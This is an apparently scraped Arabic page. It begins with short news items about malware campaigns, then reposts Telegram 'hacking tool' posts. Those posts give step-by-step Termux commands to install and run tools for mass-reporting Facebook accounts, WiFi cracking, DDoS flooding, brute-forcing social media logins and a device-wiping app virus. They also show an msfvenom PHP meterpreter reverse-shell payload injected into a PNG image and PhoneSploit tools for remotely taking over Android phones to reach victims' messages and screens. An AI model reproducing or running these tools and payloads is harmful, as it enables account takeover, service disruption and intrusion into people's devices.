تستغل برامج XWorm الضارة ثغرة Follina في موجة جديدة من الهجمات
12 مايو 2023 تهديدات إلكترونية / برامج ضارة
اكتشف باحثو الأمن السيبراني حملة تصيد مستمرة تستخدم سلسلة هجوم فريدة لتقديم برنامج XWorm الضار على الأنظمة المستهدفة. قالت Securonix ، التي تتعقب مجموعة الأنشطة تحت اسم MEME # 4CHAN ، إن بعض الهجمات استهدفت بشكل أساسي شركات التصنيع وعيادات الرعاية الصحية الموجودة في ألمانيا. قال الباحثون الأمنيون دين إوزفيك وتيم بيك وأوليج كوليسنيكوف في تحليل جديد تمت مشاركته مع The Hacker News: "استفادت حملة الهجوم من شفرة PowerShell المليئة بالـ meme غير العادية ، تليها حمولة XWorm شديدة الغموض لإصابة ضحاياها". يعتمد التقرير على النتائج الأخيرة من Elastic Security Labs ، والتي كشفت عن ممثل التهديد ' يغري s موضوع الحجز لخداع الضحايا لفتح مستندات ضارة قادرة على توصيل حمولات XWorm و Agent Tesla. تبدأ الهجمات بهجمات التصيد الاحتيالي لتوزيع مستندات مايكروسوفت وورد الخادعة التي ، بدلاً من استخدام وحدات الماكرو ، سلاح

كشف الباحثون عن باب خلفي قوي وزرع مخصص في حملة إلكترونية استمرت لمدة عام
15 مايو 2023 تهديدات إلكترونية / برامج ضارة
أصبحت قطاعات الحكومة والطيران والتعليم والاتصالات الواقعة في جنوب وجنوب شرق آسيا تحت رادار مجموعة قرصنة جديدة كجزء من حملة عالية الاستهداف بدأت في منتصف عام 2022 واستمرت حتى الربع الأول من عام 2023. سيمانتيك ، بواسطة Broadcom Software ، تتعقب النشاط تحت لقب Lancefly تحت عنوان الحشرات ، حيث تستخدم الهجمات بابًا خلفيًا "قويًا" يسمى Merdoor. تشير الأدلة التي تم جمعها حتى الآن إلى أن الزرع المخصص يتم استخدامه منذ عام 2018. ويتم تقييم الهدف النهائي للحملة ، استنادًا إلى الأدوات ونمط الضحية ، على أنه جمع المعلومات الاستخبارية. "يتم استخدام الباب الخلفي بشكل انتقائي للغاية ، حيث يظهر فقط على عدد قليل من الشبكات وعدد صغير من الأجهزة على مر السنين ، ويبدو أن استخدامه مستهدف للغاية ،" قالت سيمانتيك في تحليل مشترك مع The Hacker News. "المهاجمون في هذه الحملة لديهم أيضًا حق الوصول إلى إصدار محدث من ZXShell rootkit."

قراصنة موستانج باندا في الصين يستغلون موجهات TP-Link لهجمات مستمرة
16 مايو 2023 أمن الشبكات / التهديدات إنتل
تم ربط ممثل الدولة القومية الصيني المعروف باسم Mustang Panda بمجموعة جديدة من الهجمات المعقدة والمستهدفة التي تستهدف كيانات الشؤون الخارجية الأوروبية منذ يناير 2023. وكشف تحليل لهذه التدخلات ، وفقًا للباحثين في Check Point إتاي كوهين ورادوسلاف ماديج ، غرسة مخصصة للبرامج الثابتة مصممة بشكل صريح لأجهزة توجيه TP-Link. وقالت الشركة: "تتميز الغرسة بالعديد من المكونات الخبيثة ، بما في ذلك باب خلفي مخصص يسمى" Horse Shell "يمكّن المهاجمين من الحفاظ على الوصول المستمر ، وبناء بنية تحتية مجهولة ، وتمكين الحركة الجانبية في الشبكات المخترقة". "نظرًا لتصميمها غير الملائم للبرامج الثابتة ، يمكن دمج مكونات الغرسة في برامج ثابتة مختلفة بواسطة بائعين مختلفين." تتعقب شركة الأمن السيبراني الإسرائيلية مجموعة التهديد تحت اسم Camaro Dragon ، والتي تُعرف أيضًا باسم BASIN ، و Bronze President ، و Earth Preta ، و HoneyMyte ، و RedDelta ، و Red Lich. الطريقة الدقيقة المستخدمة

•اداه: ⚡️ Report ⚡️
♕----------------------♕----------------------♕
•وظيفة الاداه:
🔹اغلاق حسابات فيسبوك عبر اداة و ذلك عن طريق بلاغات كثيرة 👺
♕----------------------♕----------------------♕
•الرابط: https://github.com/IlayTamvan/Report
♕----------------------♕----------------------♕
• الشرح مقدم من ethical_hacking_Explanations
♕----------------------♕----------------------♕
•نظام التشغيل: ☠️ تيرمكس ☠️
♕----------------------♕----------------------♕
•طريقة الاستعمال:
$ apt update && apt upgrade

$ pkg install python2

$ pkg install python

$ pkg install git

$ git clone https://github.com/IlayTamvan/Report

$ cd Report

$ ls

$ unzip Report.zip

$ python2 Report.py

# قم بأدخال ايدي حساب الضحيه.
♕----------------------♕----------------------♕
نحن غير مسؤولين عن اي استعمال فاحش
لاتستخدم الاداه في ما لايرضي الله سبحانه وتعالي
و استخدم لغرض التجربه او لمحاربه الابتزاز
#المصدر: @ethical_hacking_Explanations
#وجه_لغيرك_يستفاد 🎁
♕----------------------♕----------------------♕
بوت النشر التلقائي ارفع البوت في قناتك ورح يتم النشر تلقائيا البوت يعمل على سيرفر آمن وسريع بنسبة 100٪.
⚡️ بوت النشر تلقائي الافضل ⚡️

•اداه: Termux-Lazyscript
♕----------------------♕----------------------♕
•وظيفة الاداه:
اختراق وايفاي
♕----------------------♕----------------------♕
•الرابط: https://github.com/TechnicalMujeeb/Termux-Lazyscript.git
♕----------------------♕----------------------♕
• الشرح مقدم من ethical_hacking_Explanations
♕----------------------♕----------------------♕
•نظام التشغيل: تيرمكس
♕----------------------♕----------------------♕
•طريقة الاستعمال:
$ apt update && apt upgrade

$ apt install git

$ apt install python2

$ git clone https://github.com/TechnicalMujeeb/Termux-Lazyscript.git

$ cd Termux-Lazyscript

$ chmod +x *

$ sh setup.sh

python2 ls.py
♕----------------------♕----------------------♕
نحن غير مسؤولين عن اي استعمال فاحش
لاتستخدم الاداه في ما لايرضي الله سبحانه وتعالي
و استخدم لغرض التجربه او لمحاربه الابتزاز
#المصدر: @ethical_hacking_Explanations
♕----------------------♕----------------------♕
بوت النشر التلقائي ارفع البوت في قناتك ورح يتم النشر تلقائيا البوت يعمل على سيرفر آمن وسريع بنسبة 100٪.
☯️بوت نشر تلقائي الافضل ☯️
✴️ @ethical_hacking_tool_bot ✴️
♕----------------------♕----------------------♕
  ♡   ‌ ‌      ❍ㅤ         ⎙ㅤ    ‌     ⌲
 ˡᶦᵏᵉ ‌   ᶜᵒᵐᵐᵉⁿᵗ      ˢᵃᵛᵉ         ˢʰᵃʳ

اداة: FoxCFBypasser


هذه الأداة قادرة على العثور على عنوان الايبي IP الحقيقي للموقع خلف خادم Cloudflare ، حل Script CloudFlare

الاوامر با الترتيب قم بنسخها امر تلو الاخر ⬇️

$ apt update && apt upgrade -y

$ apt install git -y

$ apt install python3 -y

$ git clone https://github.com/BlackFoxTM/FoxCFBypasser

$ cd FoxCFBypasser

$ python3 main.py

♕----------------------♕----------------------♕
نحن غير مسؤولين عن اي استعمال فاحش
لاتستخدم الاداه في ما لايرضي الله سبحانه وتعالي
و استخدم لغرض التجربه او لمحاربه الابتزاز
#المصدر: @ethical_hacking_Explanations
♕----------------------♕----------------------♕
بوت النشر التلقائي ارفع البوت في قناتك ورح يتم النشر تلقائيا البوت يعمل على سيرفر آمن وسريع بنسبة 100٪.
☯️بوت نشر تلقائي الافضل ☯️
✴️ @ethical_hacking_tool ✴️
♕----------------------♕----------------------♕
  ♡   ‌ ‌      ❍ㅤ         ⎙ㅤ    ‌     ⌲
 ˡᶦᵏᵉ ‌   ᶜᵒᵐᵐᵉⁿᵗ      ˢᵃᵛᵉ         ˢʰᵃʳ

طريقة فك حظر رقمك في الواتس في دقائق معدوده 😵‍💫
♕----------------------♕----------------------♕
الايميل: support@whatsapp.com

عنوان الرسالة: WhatsApp number problem (رقم الهاتف هنا بكود الدولة)

نص الرسالة:
Hello WhatsApp Support Team
While I am using my WhatsApp to communicate with family and also to finish some business of my clients
I found that WhatsApp was logged out, and when I tried to log in again I found that my number ( رقم الهاتف هنا بكود الدولة ) was blocked
Please reactivate my number ( رقم الهاتف هنا بكود الدولة ) today because this ban is causing me great harm in my work thank you

#بعد قيامك بملء الخانات المطلوبة ستقوم بارسال الرساله لهم وبعد 15 دقيقه او ساعه سيتم الرد عليك وفك الحظر عن رقمك وتستطيع بعدها تفعيل رقمك على واتساب واستعماله من جديد
♕----------------------♕----------------------♕
نحن غير مسؤولين عن اي استعمال فاحش
لاتستخدم الاداه في ما لايرضي الله سبحانه وتعالي
و استخدم لغرض التجربه او لمحاربه الابتزاز
#المصدر: @ethicalhackingExplanations
♕----------------------♕----------------------♕
بوت النشر التلقائي ارفع البوت في قناتك ورح يتم النشر تلقائيا البوت يعمل على سيرفر آمن وسريع بنسبة 100٪.
☯️بوت نشر تلقائي الافضل ☯️
✴️ @ethicalhackingtool ✴️
♕----------------------♕----------------------♕
  ♡   ‌ ‌      ❍ㅤ         ⎙ㅤ    ‌     ⌲
 ˡᶦᵏᵉ ‌   ᶜᵒᵐᵐᵉⁿᵗ      ˢᵃᵛᵉ         ˢʰᵃʳ

•اداه: Amer
♕----------------------♕----------------------♕
•وظيفة الاداه:
1ـ تقدر تعمل بيها فيروس تطبيقات تفرمت بيه الجهاز.
2ـ تقدر تثبت من عليها الميتاسبلويت.
3ـ تقدر تثبت بيها اداة Nargok.
4ـ تقدر تبعت SMS و تعمل اتصال وهمي.
5ـ تقدر تعمل ددوس اتاك علي مواقع
6- تقدر تجيب ip اي موقع
7- تخترق من عليها مواقع مصابه بثغرة admin
8ـ موجود العاب تيرمكس.
9ـ تقدر تخترق بيها انترنت بس لازم معاك روت.
10- تقدر تخمن علي فيسبوك / انستجرام.
11- و المزيد...
♕----------------------♕----------------------♕
•الرابط: https://github.com/amerlaceset/Amer
♕----------------------♕----------------------♕
•الشرح مقدم من ethical_hacking_Explanations
♕----------------------♕----------------------♕
•نظام التشغيل: تيرمكس
♕----------------------♕----------------------♕
•طريقة الاستعمال:

$ pkg update

$ pkg upgrade

$ git clone https://github.com/amerlaceset/Amer

$ cd Amer

$ ls

$ chmod +x Amer.sh

$ ./Amer.sh

# اذا قفلت الصفحة راح يكون اسمه Virus4

$ cd Virus4

$ ls

$ ./Virus4.sha
♕----------------------♕----------------------♕
نحن غير مسؤولين عن اي استعمال فاحش
لاتستخدم الاداه في ما لايرضي الله سبحانه وتعالي
و استخدم لغرض التجربه او لمحاربه الابتزاز
#المصدر: @ethical_hacking_Explanations
#وجه_لغيرك_يستفاد
♕----------------------♕----------------------♕
بوت النشر التلقائي ارفع البوت في قناتك ورح يتم النشر تلقائيا البوت يعمل على سيرفر آمن وسريع بنسبة 100٪.
☯️بوت نشر تلقائي الافضل ☯️
✴️ @ethical_hacking_tool ✴️
♕----------------------♕----------------------♕

اداة LITEDDOS دوس تاك



$ apt update

$ apt upgrade

$ pkg install git

$ pkg install python2

$ git clone https://github.com/Rayan-Senpai/LITEDDOS

$ cd LITEDDOS

$ python2 LITEDDOS.py. (ايبي الموقع )(البورت )(عدد ارسال على السيرفر)


♕----------------------♕----------------------♕
نحن غير مسؤولين عن اي استعمال فاحش
لاتستخدم الاداه في ما لايرضي الله سبحانه وتعالي
و استخدم لغرض التجربه او لمحاربه الابتزاز
#المصدر: @ethical_hacking_Explanations
♕----------------------♕----------------------♕
بوت النشر التلقائي ارفع البوت في قناتك ورح يتم النشر تلقائيا البوت يعمل على سيرفر آمن وسريع بنسبة 100٪.
☯️بوت نشر تلقائي الافضل ☯️
✴️ @ethical_hacking_tool_bot ✴️
♕----------------------♕----------------------♕
  ♡   ‌ ‌      ❍ㅤ         ⎙ㅤ    ‌     ⌲
 ˡᶦᵏᵉ ‌   ᶜᵒᵐᵐᵉⁿᵗ      ˢᵃᵛᵉ         ˢʰᵃʳ

تم صنع بوت لستة لدعم القنوات
لو معاك قناة و عوز ترفعه عل البوت اتفضل ادخل اقل عدد للدخول في البوت 3𝐊
@AHarmyBot
@AHarmyBot
@AHarmyBot

⚜السلام عليكم شرح اليوم عن اداة 𝐏IXLOAD⚜

♻️أدوات إنشاء / حقن حمولة الصور
حقن البايلود في صورة

⚜مجموعة من الأدوات ليختبئ في الأبواب الخلفيةإنشاء / حقن الحمولة في الصور.

⚜أنواع الصور التالية مدعومة حاليًا: BMP و GIF و JPG و PNG و WebP.

✅التثبيت الاداة

🪝sudo apt install libgd-perl libimage-exiftool-perl libstring-crc32-perl

🪝doas pkg install p5-GD p5-Image-ExifTool p5-String-CRC32

🪝الرجاء OSXالرجوع إلى هذا الحل البديل (thnx 2iosdec»https://github.com/sighook/pixload/issues/3

🪝make install

🪝docker build -t pixload .
docker run -v "$(pwd):/pixload" -it --rm pixload

@mosLord

🔋مثال
»»msfvenom
🛡إذا كنت تريد حقن حمولة metasploit ، فعليك القيام بشيء مثل هذا:

🛡إنشاء الحمولة الصافية metasploit (مثل php).

⚓️msfvenom -p php/meterpreterreversetcp \
LHOST=192.168.0.1 LPORT=31337 -f raw 2>/dev/null > payload.php

⚓️ pixload-png --payload "$(cat payload.php)" payload.png

دليل الاستخدام وتحميل الاداة من موقع github
➖➖➖➖➖➖➖➖➖➖➖➖➖
━━━━━━━━━━━━━━━━━━━━
𝐁𝐘: ➢ 𝙱𝙻𝙰𝙲𝙺𝙷𝙸𝚂𝙾𝙺𝙰
𝐓ααm: ➣ 𝐀ℍ
▪️━━━━━━━♦️━━━━━━━━▪️
𝐀rab Hackers 𝐀rmy™
▪️━━━━━━━♦️━━━━━━━━▪️
بوت النشر ▁▂▃▄▅▆▇
@ethicalhackingtoolbot

السلام عليكم
⚜شرح اليوم عن اداة PIXLOAD⚜

♻️أدوات إنشاء / حقن حمولة الصور
حقن البايلود في صورة

⚜مجموعة من الأدوات ليختبئ في الأبواب الخلفيةإنشاء / حقن الحمولة في الصور.

⚜أنواع الصور التالية مدعومة حاليًا: BMP و GIF و JPG و PNG و WebP.

✅التثبيت الاداة

🪝sudo apt install libgd-perl libimage-exiftool-perl libstring-crc32-perl

🪝doas pkg install p5-GD p5-Image-ExifTool p5-String-CRC32

🪝الرجاء OSXالرجوع إلى هذا الحل البديل (thnx 2iosdec»https://github.com/sighook/pixload/issues/3

🪝make install

🪝docker build -t pixload .
docker run -v "$(pwd):/pixload" -it --rm pixload

@mosLord

🔋مثال
»»msfvenom
🛡إذا كنت تريد حقن حمولة metasploit ، فعليك القيام بشيء مثل هذا:

🛡إنشاء الحمولة الصافية metasploit (مثل php).

⚓️msfvenom -p php/meterpreter_reverse_tcp \
LHOST=192.168.0.1 LPORT=31337 -f raw 2>/dev/null > payload.php

⚓️ pixload-png --payload "$(cat payload.php)" payload.png

دليل الاستخدام وتحميل الاداة من موقع github
➖➖➖➖➖➖➖➖➖➖➖➖➖
━━━━━━━━━━━━━━━━━━━━
𝐁𝐘: ➢ 𝙱𝙻𝙰𝙲𝙺_𝙷𝙸𝚂𝙾𝙺𝙰
𝐓ααm: ➣ 𝐀ℍ
▪️━━━━━━━♦️━━━━━━━━▪️
𝐀rab Hackers 𝐀rmy™
▪️━━━━━━━♦️━━━━━━━━▪️
بوت النشر ▁▂▃▄▅▆▇
@ethical_hacking_tool_bot

الحلقة رقم 1في سلسلة Android Hacking

الحلقة 1: تثبيت Nethunter و Metasploit في Termux

مدة الحلقة: 11:38 دقيقة

ماذا ستتعلم في سلسلة Android Hacking

[⭐] اختراق هاتف أي شخص
[⭐] الوصول إلى مدير الملفات
[⭐] الوصول إلى الرسائل القصيرة
[⭐] الوصول إلى Whatsapp
[⭐] الوصول إلى الشاشة الكاملة للضحية (التحكم في جهاز الضحية)
[⭐] ربط الحمولة بأي تطبيق كبير أو صغير بدون اكتشاف
[⭐] وغيرها الكثير. (فكر في نفسك)

❓ إذا واجهت أي مشكلة في التثبيت ، فيمكنك استخدام الروبوت المساعد الخاص
تو.صل معي
𝐁𝐘: ➢ 𝙱𝙻𝙰𝙲𝙺_𝙷𝙸𝚂𝙾𝙺𝙰
𝐓ααm: ➣ 𝐀ℍ
▪️━━━━━━♦️━━━━━━━▪️
𝐀rab Hackers 𝐀rmy™
▪️━━━━━━♦️━━━━━━━▪️
انتظار الحلقة القدمه
من سلسلة Android Hacking
تفاعلو مع المنشور لنوصل نشر كل ما هو جديد ❤️
بوت النشر
@ethical_hacking_tool_bot

اداة اختراق الهاتف الاندرويد ✅
اداة تعمل على الانظمة التالية ⚙
🛡Termux
🛡Kali Linux
🛡Parrot
🛡Ubuntu

الاوامر التالية لتحميل الاداة وتشغيلها⚓️

❄️ apt install unrar

❄️ git clone https://github.com/Zucccs/PhoneSploit

❄️ cd PhoneSploit
❄️ chmod +x *

❄️ python2 main.py

طبعا الصورة صورة الاداة شوفوها كم هيا رهيبة ان لم تعمل الاداة فعل الروت الوهمي الذي نشرته فقط اضغط على الرسالة المثبتة مرتين
»»» الاداة تخترق عن طريق المنفذ 5555 اذا كان مفتوح
طبعا سمعتو بتصحيح usb الي بالاعدادات
الي مايعرفها يروح للاعدادات ولخيارات المطور واذا شفتوها مفتوحة اغلقها فورا
━━━━━━━━━━━━━━━━━━━━
𝐓ααm: ➣ 𝐀ℍ
▪️━━━━━━━━♦️━━━━━━━━━▪️
𝐀rab Hackers 𝐀rmy™
▪️━━━━━━━━♦️━━━━━━━━━▪️
بوت النشر
@ethical_hacking_tool_bot

تثبيت كالي لينكس على الهاتف بدون روت افضل طريقه 2023
𝐓ααm: ➣ 𝐀ℍ
▪️━━━━━━━━♦️━━━━━━━━━▪️
𝐀rab Hackers 𝐀rmy™
▪️━━━━━━━━♦️━━━━━━━━━▪️

عطر فمك 🍁💙
-سُبحان اللّٰه.
- الحَمدُللّٰه.
- اللّٰه أكبر.
- لا إله إلا اللّٰه.
- استَغفرُاللّٰه العظيِم وأتوبُ إليهِ.
- لا حَول ولا قُوة الا باللّٰه.
- سُبحان اللّٰه وبِحمده.
- سُبحان اللّٰه العظيمّ.
- اللهم صلي وسلم وبارك على سيدنا محمد وعلى آله وصحبه اجمعين

𝑷𝑯𝑶𝑵𝑬.𝑺𝑷𝑳𝑶𝑰𝑻.𝑷𝑹𝑶

أداة قوية جدا لاختراق الاجهزة والتحكم فيها....
أداة اختراق شاملة لاستغلال أجهزة Android عن بُعد باستخدام ADB و Metasploit-Framework للحصول على جلسة Meterpreter.

من متطلبات الاداة☟

❶Metasploit يمكنك تثبيتها من خلال الاوامر المتاحة بالبوت....
❷scrcpy
للتثبيت☟
https://github.com/Genymobile/scrcpy
❸adp
Android Debug Bridge (ADB) from Android SDK Platform Tools
https://developer.android.com/studio/command-line/adb

التثبيت Install

pkg instal python3

git clone https://github.com/AzeemIdrisi/PhoneSploit-Pro.git

cd PhoneSploit-Pro

python3 phonesploitpro.py

𝐀rab Hackers 𝐀rmy™
t.me/mosLord